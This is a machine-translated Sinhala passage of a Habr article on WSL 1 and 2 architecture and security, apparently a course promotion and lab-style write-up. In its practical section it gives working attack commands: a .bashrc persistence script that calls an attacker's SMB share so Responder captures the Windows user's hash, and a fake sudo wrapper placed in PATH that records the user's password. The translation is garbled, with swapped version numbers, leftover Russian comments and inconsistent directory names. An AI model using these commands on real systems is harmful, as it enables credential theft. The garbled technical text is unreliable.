WSL අත්හදා බැලීම්. 1 කොටස

හෙලෝ, හබ්ර්! OTUS ඔක්තෝම්බර් මාසයේදී නව පාඨමාලා ප්‍රවාහයක් දියත් කරයි "ලිනක්ස් ආරක්ෂාව". පාඨමාලාවේ ආරම්භය අපේක්ෂාවෙන්, අපගේ ගුරුවරයෙකු වන ඇලෙක්සැන්ඩර් කොලෙස්නිකොව් විසින් ලියන ලද ලිපියක් අපි ඔබ සමඟ බෙදා ගන්නෙමු.

WSL අත්හදා බැලීම්. 1 කොටස

2016 දී මයික්‍රොසොෆ්ට් විසින් නව WSL තාක්ෂණය තොරතුරු තාක්ෂණ ප්‍රජාවට හඳුන්වා දෙන ලදී (Wඉන්දු Sසඳහා ubsystem Linux), අනාගතයේ දී සාමාන්‍ය සහ උසස් OS භාවිතා කරන්නන් අතර ජනප්‍රියත්වය සඳහා සටන් කළ පෙර සම කළ නොහැකි තරඟකරුවන් එක්සත් කිරීමට හැකි විය: Windows සහ Linux. මෙම තාක්ෂණය මඟින් Linux ධාවනය කිරීමේ අවශ්‍යතාවයකින් තොරව Windows පරිසරයක Linux OS මෙවලම් භාවිතා කිරීමට හැකි විය, උදාහරණයක් ලෙස Multi-boot භාවිතා කිරීම. Habr හි ඔබට WSL භාවිතා කිරීමේ ප්‍රතිලාභ විස්තර කරන ලිපි විශාල ප්‍රමාණයක් සොයාගත හැකිය. කෙසේ වෙතත්, අවාසනාවකට මෙන්, මෙම ලිපිය නිර්මාණය කරන අවස්ථාවේ දී, මෙම සම්පත මත මෙහෙයුම් පද්ධතිවල එවැනි සහජීවනයක ආරක්ෂාව පිළිබඳ කිසිදු අධ්‍යයනයක් හමු නොවීය. මෙම සටහන එය නිවැරදි කිරීමට උත්සාහයක් වනු ඇත. ලිපිය WSL 1 සහ 2 ගෘහ නිර්මාණ ශිල්පයේ විශේෂාංග ගැන කතා කරන අතර මෙම තාක්ෂණයන් භාවිතා කරමින් පද්ධති වලට පහර දීමේ උදාහරණ කිහිපයක් පරීක්ෂා කරනු ඇත. ලිපිය කොටස් 2 කට බෙදා ඇත. පළමුවැන්න ලිනක්ස් සහ වින්ඩෝස් වෙතින් ප්‍රධාන න්‍යායික ප්‍රහාර ක්‍රම ලබා දෙනු ඇත. දෙවන ලිපියට පරීක්ෂණ පරිසරයක් සැකසීම සහ ප්‍රහාර ප්‍රතිනිෂ්පාදනය කිරීම ඇතුළත් වේ.

WSL 1: වාස්තු විද්‍යාත්මක ලක්ෂණ

WSL ආරක්ෂණ ගැටළු වලට වඩාත් නිවැරදිව කිමිදීම සඳහා, උප පද්ධතිය ක්රියාත්මක කිරීම හා සම්බන්ධ ප්රධාන සූක්ෂ්මතාවයන් තීරණය කිරීම අවශ්ය වේ. WSL විසින් විසඳන ලද ප්‍රධාන පරිශීලක කාර්යයක් වන්නේ Windows OS ධාවනය වන සත්කාරකයක් මත Linux terminal එකක් හරහා වැඩ කිරීමේ හැකියාවයි. එසේම, ඉදිරිපත් කරන ලද ගැළපුම කෙතරම් දේශීයද යත්, Linux executables (ELFs) සෘජුවම වින්ඩෝස් පද්ධතියක් මත ධාවනය කළ හැකිය. මෙම අරමුණු සාක්ෂාත් කර ගැනීම සඳහා, විශේෂිත පද්ධති ඇමතුම් කට්ටලයක් භාවිතා කරමින් ලිනක්ස් යෙදුම් ධාවනය කිරීමට ඔබට ඉඩ සලසන විශේෂ උප පද්ධතියක් වින්ඩෝස් 10 හි නිර්මාණය කරන ලදී - මේ අනුව, වින්ඩෝස් හි ලිනක්ස් සිස්කල් කට්ටලයක් සිතියම් ගත කිරීමට උත්සාහ කරන ලදී. මෙය නව ධාවක සහ නව ක්‍රියාවලි ආකෘතියක් එකතු කිරීමෙන් භෞතිකව ක්‍රියාත්මක කරන ලදී. දෘශ්‍යමය වශයෙන් ගෘහ නිර්මාණ ශිල්පය මේ ආකාරයෙන් පෙනුණි:

WSL අත්හදා බැලීම්. 1 කොටස

ඇත්ත වශයෙන්ම, Linux මෙහෙයුම් පද්ධතිය සමඟ අන්තර්ක්‍රියා කර්නල් මොඩියුල කිහිපයක් සහ විශේෂ ක්‍රියාවලියක් හරහා සංවිධානය කරන ලදී - pico. ඉහත රූප සටහනෙන්, ධාරකයේ ලිනක්ස් නිදසුන මත ක්‍රියාත්මක වන ක්‍රියාවලිය ස්වදේශීය විය යුතු අතර සාමාන්‍ය වින්ඩෝස් යෙදුම් වලට සමාන සම්පත් භාවිතා කළ යුතු බව ඔබට පෙනේ. නමුත් මෙය සාක්ෂාත් කර ගන්නේ කෙසේද? ව්යාපෘතියේ දිනුම් ඇදීම වින්ඩෝස් සඳහා වන ක්‍රියාවලි සංකල්ප වෙනත් මෙහෙයුම් පද්ධතියක යෙදුමක් ක්‍රියාත්මක කිරීම සඳහා මෙහෙයුම් පද්ධතියේ අවශ්‍ය සියලුම සංරචක (එහි අනුවාදය අනුව) සපයන ලදී.

යෝජිත සාරාංශය මඟින් වෙනත් මෙහෙයුම් පද්ධතියක ක්‍රියාවලිය දියත් කිරීමට බලාපොරොත්තු වන මෙහෙයුම් පද්ධතිය (විශේෂයෙන් වින්ඩෝස්) වෙත අවධානය යොමු නොකිරීමට හැකි වූ අතර සාමාන්‍ය ප්‍රවේශයක් යෝජනා කරන ලදී.

මේ අනුව, pico ක්‍රියාවලිය තුළ ඇති ඕනෑම යෙදුමක් වින්ඩෝස් කර්නලය නොසලකා ක්‍රියාත්මක විය හැකිය:

  1. පද්ධති ඇමතුම්වල ගැළපුම සහ පරිවර්තනය පිළිබඳ ගැටළු විශේෂ සැපයුම්කරුවන් විසින් විසඳිය යුතුය;
  2. ප්රවේශ පාලනය ආරක්ෂක මොනිටරය හරහා සිදු කළ යුතුය. මොනිටරය කර්නලයේ පිහිටා ඇති අතර එම නිසා එවැනි ක්‍රියාවලීන් සඳහා සැපයුම්කරුවෙකු ලෙස ක්‍රියා කළ හැකි නව ධාවකයක ආකාරයෙන් වින්ඩෝස් හට යාවත්කාලීන කිරීමක් අවශ්‍ය විය. මූලාකෘති පිකෝ ක්‍රියාවලිය ක්‍රමානුකූලව පහත දක්වා ඇත:

WSL අත්හදා බැලීම්. 1 කොටස

Linux ගොනු පද්ධතිය කේස්-සංවේදී ගොනු සහ නාමාවලි නාම භාවිතා කරන බැවින්, WSL - VolFS සහ DriveFS සමඟ වැඩ කිරීමට ගොනු පද්ධති වර්ග 2ක් Windows වෙත එක් කරන ලදී. VolFS යනු Linux ගොනු පද්ධතියේ ක්‍රියාත්මක කිරීමකි, DriveFS යනු වින්ඩෝස් රීති වලට අනුව ක්‍රියා කරන ගොනු පද්ධතියකි, නමුත් සිද්ධි සංවේදීතාව තෝරා ගැනීමේ හැකියාව ඇත.

WSL 2

WSL 1 හි උපරිම පරාසයක කාර්යයන් විසඳීමට එය භාවිතා කිරීමට ඉඩ නොදෙන සීමාවන් ගණනාවක් තිබුණි: නිදසුනක් ලෙස, එය 32-bit Linux යෙදුම් ධාවනය කිරීමට හැකියාවක් නොතිබූ අතර උපාංග ධාවක භාවිතා කිරීමට නොහැකි විය. එබැවින්, 2020 දී, WSL 2 නිකුත් කරන ලද අතර, එය උප පද්ධතිය ගොඩනැගීමේ ප්රවේශය වෙනස් කළේය. WSL 2 යනු WSL 1 හි සම්පත් පරිභෝජන ලක්ෂණ වලට ගැලපෙන ප්‍රශස්ත අථත්‍ය යන්ත්‍රයකි. දැන්, Windows OS පරිශීලකයා විසින් විසඳන ලද ගැටළු මත පදනම්ව, ඔබට Linux උප පද්ධතියේ අවශ්ය අනුවාදය තෝරාගත හැක. විය හැකි දුර්වලතා අවම කිරීම සඳහා, Windows 2 හි Hyper-V මත පදනම්ව WSL 10 ක්‍රියාත්මක කරන ලදී. මෙම පෝරමයේදී, Windows හට Linux මෙහෙයුම් පද්ධති කර්නලය හුදකලාව ධාවනය කිරීමේ හැකියාව ඇත. මෙම ප්‍රදේශයේ වින්ඩෝස් සංවර්ධනයේ දිශාව පෙන්වීමට නියමිතව තිබූ බීටා විශේෂාංගයක් ලෙස WSL හි 1 අනුවාදය හඳුන්වා දුන් බව මතක තබා ගැනීම වටී, එබැවින් Hyper-V වෙත මාරුවීම නොවැළැක්විය හැකිය. අවසාන ගෘහ නිර්මාණ ශිල්පය මේ වගේ ය:

WSL අත්හදා බැලීම්. 1 කොටස

මෙම අනුවාදයේ, වින්ඩෝස් සහ ලිනක්ස් කර්නල් වලට තමන්ගේම සම්පත් ඇති අතර ඡේදනය පවතින්නේ ගොනු පද්ධතිය තුළ පමණි, නමුත් මෙම ඡේදනය සම්පූර්ණ නොවේ. ගොනු පද්ධති අතර අන්තර්ක්‍රියා සිදු කරනු ලබන්නේ 9P ප්‍රොටෝකෝලය භාවිතයෙන් ක්‍රියා කරන සේවාදායක-සේවාදායක දවටනයක් හරහාය.

අද මයික්‍රොසොෆ්ට් විසින් WSL 1 සහ WSL 2 අතර මාරු වීමේ හැකියාව ලබා දෙයි. අනුවාද දෙකම භාවිතයට ඇත.

WSL ආරක්ෂාව

මේ මොහොතේ, උප පද්ධති අතර සන්නිවේදනයට පහර දීම සඳහා නීත්‍යානුකූල OS මෙවලම් භාවිතා කිරීමේ ප්‍රවේශයන් කිහිපයක් විස්තර කරන කෘති කිහිපයක් තිබේ. ලියන අවස්ථාවේදී ප්‍රහාරවල අදාළත්වය පරීක්ෂා කිරීමට අපි ඔවුන්ගේ ස්ක්‍රිප්ට් භාවිතා කරන්නෙමු. ප්රහාර සහ අවස්ථා පිළිබඳ සාමාන්ය ලැයිස්තුව:

1. ගොනු පද්ධති ක්‍රියාත්මක කිරීම: ප්‍රවේශ හිමිකම්, හවුල් නාමාවලි/දත්ත හුවමාරු යාන්ත්‍රණයන් තිබීම.

වෙතින් ප්රවේශ නීති උල්ලංඝනය කිරීම් තීරණය කිරීම සඳහා පර්යේෂණ සිදු කරන ලදී Linux FS->Windows FS, Windows FS->Linux FS. ඉලක්කගත මෙහෙයුම් පද්ධතිය තුළ දී ඇති ගොනුවක් වෙනස් කිරීමේ හැකියාව පර්යේෂණ මගින් පෙන්නුම් කර ඇත. ගොනු පද්ධතිවල කොටසක් ආදේශ කිරීමට, අනුපිටපත් නිර්මාණය කිරීමට සහ මකා දැමීමට ද උත්සාහ කරන ලදී.

දර්ශනය:

  • A. Windows මෙහෙයුම් පද්ධතියෙන් ප්‍රහාරය - Linux OS හි / etc නාමාවලියෙන් ගොනු වෙනස් කිරීම.
  • B. Linux මෙහෙයුම් පද්ධතියෙන් ප්‍රහාරය - නාමාවලි වල ගොනු වෙනස් කිරීම: C:Windows, C:Program Files, C:Users<User>

2. ජාල තොගය ක්රියාත්මක කිරීම.

Windows හි Linux මෙහෙයුම් පද්ධතියෙන් එල්ල වන ප්‍රහාර පිළිබඳ උදාහරණ යොදා ගනිමින් පර්යේෂණය සිදු කරන ලදී. ජාල තොගයේ විශේෂාංග, එනම් විවිධ සම්පත් මත සත්‍යාපන යාන්ත්‍රණ භාවිතා කරන ලදී.

දර්ශනය:

  • වින්ඩෝස් පද්ධතියක වාඩිලාගෙන සිටින වරායකට ප්රවේශය විවෘත කිරීම
  • සුදුසු අයිතිවාසිකම් නොමැතිව වරායක් විවෘත කිරීම
  • වින්ඩෝස් මෙහෙයුම් පද්ධතියේ elf ගොනුව භාවිතයෙන් ප්‍රතිලෝම කවචය ධාවනය කිරීම.

3. WSL උප පද්ධතිය භාවිතයෙන් අනිෂ්ට මෘදුකාංග ක්‍රියාවලි දියත් කිරීම සැඟවීම.

පර්යේෂණය සරල කරුණක් මත පදනම් විය - WSL 1 සම්බන්ධයෙන් මෙහෙයුම් පද්ධතියෙන් නීත්‍යානුකූල සැපයුම්කරුවෙකු භාවිතයෙන් ක්‍රියා කරන වෙනත් කර්නලයක සිදුවීම් ආරක්ෂක උප පද්ධතිවලට බාධා කළ නොහැක. WSL 2 සම්බන්ධයෙන් ගත් කල, සිදුවන සිදුවීම් බැලීමට ක්‍රමයක් නොමැත. සැහැල්ලු අතථ්‍ය යන්ත්‍රය තුළ වෙනම කර්නලයක.

දර්ශනය:

1) පද්ධතියට දුරස්ථ ප්‍රවේශය සඳහා යෙදුම දියත් කර ලොග් වූ සිදුවීම් බලන්න.

WSL 1 අත්හදා බැලීම්: හෑෂ් බාධා කිරීම් (වින්ඩෝස්)

අන්තිමට අපි ප්‍රායෝගික කොටසට ආවා. පළමුව, ඔබ පරීක්ෂණ පරිසරය සකස් කළ යුතුය. සියලුම අත්හදා බැලීම් සිදු කරනු ලබන්නේ Windows 10 2004 ස්ථාපනය කර ඇති බංකුවක් මතයි. WSL සඳහා මෙහෙයුම් පද්ධති රූපය ලෙස Ubuntu 18.04 රූපය තෝරා ගන්නා ලදී. රූපය අහඹු ලෙස තෝරාගෙන ඇති අතර, වෙනත් ඕනෑම දෙයක් එලෙසම ක්‍රියා කරයි. ස්ථාවරය පිහිටුවීම සඳහා විධාන:

ඔබ මුලින්ම දියත් කළ යුතුය powershell.exe පරිපාලක ලෙස.

WSL 1 සඳහා ඔබ විධානයන් ක්‍රියාත්මක කළ යුතුය:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • ස්ථාවරය නැවත ආරම්භ කිරීමෙන් පසු, ඔබට bash විධානය ඇමතිය හැකිය. සෑම දෙයක්ම නිවැරදිව ක්‍රියාත්මක වූයේ නම්, වින්ඩෝස් කොන්සෝලයේ මෙයට සමාන ප්‍රතිදානයක් ඔබට පෙනෙනු ඇත:

    WSL අත්හදා බැලීම්. 1 කොටස

    අපි Kali Linux බෙදාහැරීම ප්‍රහාරක යන්ත්‍රය ලෙස භාවිතා කරන්නෙමු; සියලුම යන්ත්‍ර එකම දේශීය ජාලයක තිබිය යුතුය.

    අපි හිතමු අපිට Windows Machine එකක WSL වෙත වරප්‍රසාද රහිත ප්‍රවේශයක් ඇති බව. Linux වෙතින් විධානයක් ඇමතීමෙන් Linux මෙහෙයුම් පද්ධතියට පහර දීමට උත්සාහ කරමු. ප්‍රහාරය ක්‍රියාත්මක කිරීම සඳහා, අපි සරල ස්වයංක්‍රීය ක්‍රමයක් භාවිතා කරන්නෙමු - අපි ලිනක්ස් පරිසරය තුළ ක්‍රියාත්මක කිරීම සඳහා අපගේ ස්ක්‍රිප්ට් එක එකතු කරන්නෙමු. මෙය සිදු කිරීම සඳහා, ඔබ ගොනුව වෙනස් කළ යුතුය .bashrc.

    WSL සහිත යන්ත්‍රයක අපි ක්‍රියාත්මක කරන්නේ:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux යන්ත්‍රයක අපි ධාවනය කරන්නේ:

    1. Responder -I eth0 -rdvw

    වින්ඩෝස් යන්ත්‍රයක, අපි bash දියත් කරමු.

    අපි Kali Linux යන්ත්‍රයේ ප්‍රතිඵලය බලාපොරොත්තුවෙන් සිටිමු:

    WSL අත්හදා බැලීම්. 1 කොටස

    මේ අනුව, අපි ලිනක්ස් පද්ධතියේ විධානය ක්‍රියාත්මක කිරීමෙන් WSL උප පද්ධතිය හරහා වින්ඩෝස් පරිශීලක හැෂ් ලබා ගත්තෙමු.

    WSL 1 අත්හදා බැලීම්: පරිශීලක මුරපදය ලබා ගැනීම (Linux OS)

    අපි තවත් එක් අත්හදා බැලීමක් කරමු. මෙම පරීක්ෂාව අතරතුර අපි ගොනුවට එකතු කරන්නෙමු .bashrc ලිනක්ස් මෙහෙයුම් පද්ධතියේ පරිශීලක මුරපදය ලබා ගැනීම සඳහා විධාන කිහිපයක්.

    අපි bash දියත් කර විධාන ඇතුළත් කරමු:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    ප්‍රහාරය සාර්ථකව සම්පූර්ණ කිරීමට, සෑම් පරිශීලකයාට ලිනක්ස් පර්යන්තයේ sudo ඇමතීමට අවශ්‍ය වේ. මෙයින් පසු, Linux OS පරිශීලක මුරපදය ගොනුවේ ඇත pass.txt:

    WSL අත්හදා බැලීම්. 1 කොටස

    ප්රහාරයන් ක්රියාත්මක කිරීම න්යායික තොරතුරු සඳහා පමණක් ලබා දී ඇත.

    ලිපියේ ඊළඟ කොටස 9P ප්‍රොටෝකෝලය ක්‍රියාත්මක කිරීම විස්තර කරයි, මෙම ප්‍රොටෝකෝලය සඳහා ස්කෑනරයක් නිර්මාණය කිරීම සලකා බලනු ඇත, සහ එය භාවිතා කරමින් ප්‍රහාරයක් ද සිදු කරනු ඇත.

    භාවිතා කළ සාහිත්‍ය ලැයිස්තුව

    WSL අත්හදා බැලීම්. 1 කොටස

    තවත් කියවන්න

    මූලාශ්රය: www.habr.com

    අදහස් එක් කරන්න